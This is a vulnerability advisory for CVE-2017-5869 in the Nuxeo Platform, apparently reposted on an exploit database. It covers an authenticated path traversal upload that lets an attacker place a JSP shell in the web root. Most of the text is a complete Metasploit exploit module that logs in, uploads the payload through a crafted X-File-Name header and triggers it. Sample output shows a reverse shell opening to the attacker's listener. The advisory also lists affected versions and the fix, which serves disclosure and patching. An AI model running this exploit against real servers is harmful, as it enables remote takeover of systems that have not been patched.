=begin # Description Nuxeo Platform is a content management system for enterprises (CMS). It embeds an Apache Tomcat server, and can be managed through a web interface. One of its features allows authenticated users to import files to the platform. By crafting the upload request with a specific ``X-File-Name`` header, one can successfuly upload a file at an arbitrary location of the server file system. It is then possible to upload a JSP script to the root directory of the web application to execute commands on the remote host operating system. Setting the value ``../../nxserver/nuxeo.war/shell.jsp`` to the ``X-File-Name`` header is a way to do so. ## Details **CVE ID**: CVE-2017-5869 **Access Vector**: network **Security Risk**: high **Vulnerability**: CWE-434 **CVSS Base Score**: 8.8 **CVSS Vector**: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H # Proof of Concept Here is a metasploit module to exploit this vulnerability: =end ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Nuxeo Platform File Upload RCE", 'Description' => %q{ The Nuxeo Platform tool is vulnerable to an authenticated remote code execution, thanks to an upload module. }, 'License' => MSF_LICENSE, 'Author' => ['Ronan Kervella '], 'References' => [ ['https://nuxeo.com/', ''] ], 'Platform' => %w{linux}, 'Targets' => [ ['Nuxeo Platform 6.0 to 7.3', 'Platform' => 'linux'] ], 'Arch' => ARCH_JAVA, 'Privileged' => true, 'Payload' => {}, 'DisclosureDate' => "", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the nuxeo application', '/nuxeo']), OptString.new('USERNAME', [true, 'A valid username', '']), OptString.new('PASSWORD', [true, 'Password linked to the username', '']) ], self.class) end def jsp_filename @jsp_filename ||= Rex::Text::rand_text_alpha(8) + '.jsp' end def jsp_path 'nxserver/nuxeo.war/' + jsp_filename end def nuxeo_login res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/login.jsp') ) fail_with(Failure::Unreachable, 'No response received from the target.') unless res session_cookie = res.get_cookies res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/nxstartup.faces'), 'cookie' => session_cookie, 'vars_post' => { 'user_name' => datastore['USERNAME'], 'user_password' => datastore['PASSWORD'], 'submit' => 'Connexion' } ) return session_cookie if res && res.code == 302 && res.redirection.to_s.include?('view_home.faces') nil end def trigger_shell res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, jsp_filename) ) fail_with(Failure::Unknown, 'Unable to get #{full_uri}/#{jsp_filename}') unless res && res.code == 200 end def exploit print_status("Authenticating using #{datastore['USERNAME']}:#{datastore['PASSWORD']}") session_cookie = nuxeo_login if session_cookie payload_url = normalize_uri(target_uri.path, jsp_filename) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/site/automation/batch/upload'), 'cookie' => session_cookie, 'headers' => { 'X-File-Name' => '../../' + jsp_path, 'X-Batch-Id' => '00', 'X-File-Size' => '1024', 'X-File-Type' => '', 'X-File-Idx' => '0', 'X-Requested-With' => 'XMLHttpRequest' }, 'ctype' => '', 'data' => payload.encoded ) fail_with(Failure::Unknown, 'Unable to upload the payload') unless res && res.code == 200 print_status("Executing the payload at #{normalize_uri(target_uri.path, payload_url)}.") trigger_shell else fail_with(Failure::Unknown, 'Unable to login') end end end =begin Module output: ```bash msf> use exploit/multi/http/nuxeo msf exploit(nuxeo) > set USERNAME user1 USERNAME => user1 msf exploit(nuxeo) > set PASSWORD password PASSWORD => password msf exploit(nuxeo) > set rhost 192.168.253.132 rhost => 192.168.253.132 msf exploit(nuxeo) > set payload java/jsp_shell_reverse_tcp payload => java/jsp_shell_reverse_tcp msf exploit(nuxeo) > set lhost 192.168.253.1 lhost => 192.168.253.1 msf exploit(nuxeo) > exploit [-] Handler failed to bind to 192.168.253.1:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Authenticating using user1:password [*] Executing the payload at /nuxeo/nuxeo/QBCefwxQ.jsp. [*] Command shell session 1 opened (172.17.0.2:4444 -> 192.168.253.132:43279) at 2017-01-13 14:47:25 +0000 id uid=1000(nuxeo) gid=1000(nuxeo) groups=1000(nuxeo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare) pwd /var/lib/nuxeo/server ``` # Vulnerable code The vulnerable code is located in the `org.nuxeo.ecm.restapi.server.jaxrs.BatchUploadObject` class ([github link](https://github.com/nuxeo/nuxeo/blob/b05dde789a6c0c7b5f361608eb6d6bd0fda31f36/nuxeo-features/rest-api/nuxeo-rest-api-server/src/main/java/org/nuxeo/ecm/restapi/server/jaxrs/BatchUploadObject.java#L150)), where the header ``X-File-Name`` is not checked. # Fix Nuxeo provided a [patch](https://github.com/nuxeo/nuxeo/commit/6b3113977ef6c2307f940849a2c196621ebf1892) for this issue. A hotfix release is also available for Nuxeo 6.0 (Nuxeo 6.0 HF35). Please note that vulnerability does not affect Nuxeo versions above 7.3. # Affected versions * Nuxeo 6.0 (LTS 2014), released 2014-11-06 * Nuxeo 7.1 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-01-15 * Nuxeo 7.2 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-03-24 * Nuxeo 7.3 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-06-24 # Unaffected versions * Nuxeo 6.0 HF35, released 2017-01-12 * Nuxeo 7.4 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-10-02 * Nuxeo 7.10 (LTS 2015), released 2015-11-09 * Nuxeo 8.10 (LTS 2016), released 2016-12-06 # Credits Ronan Kervella -- SYSDREAM Labs GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream =end # Iranian Exploit DataBase = http://IeDb.Ir [2017-03-30]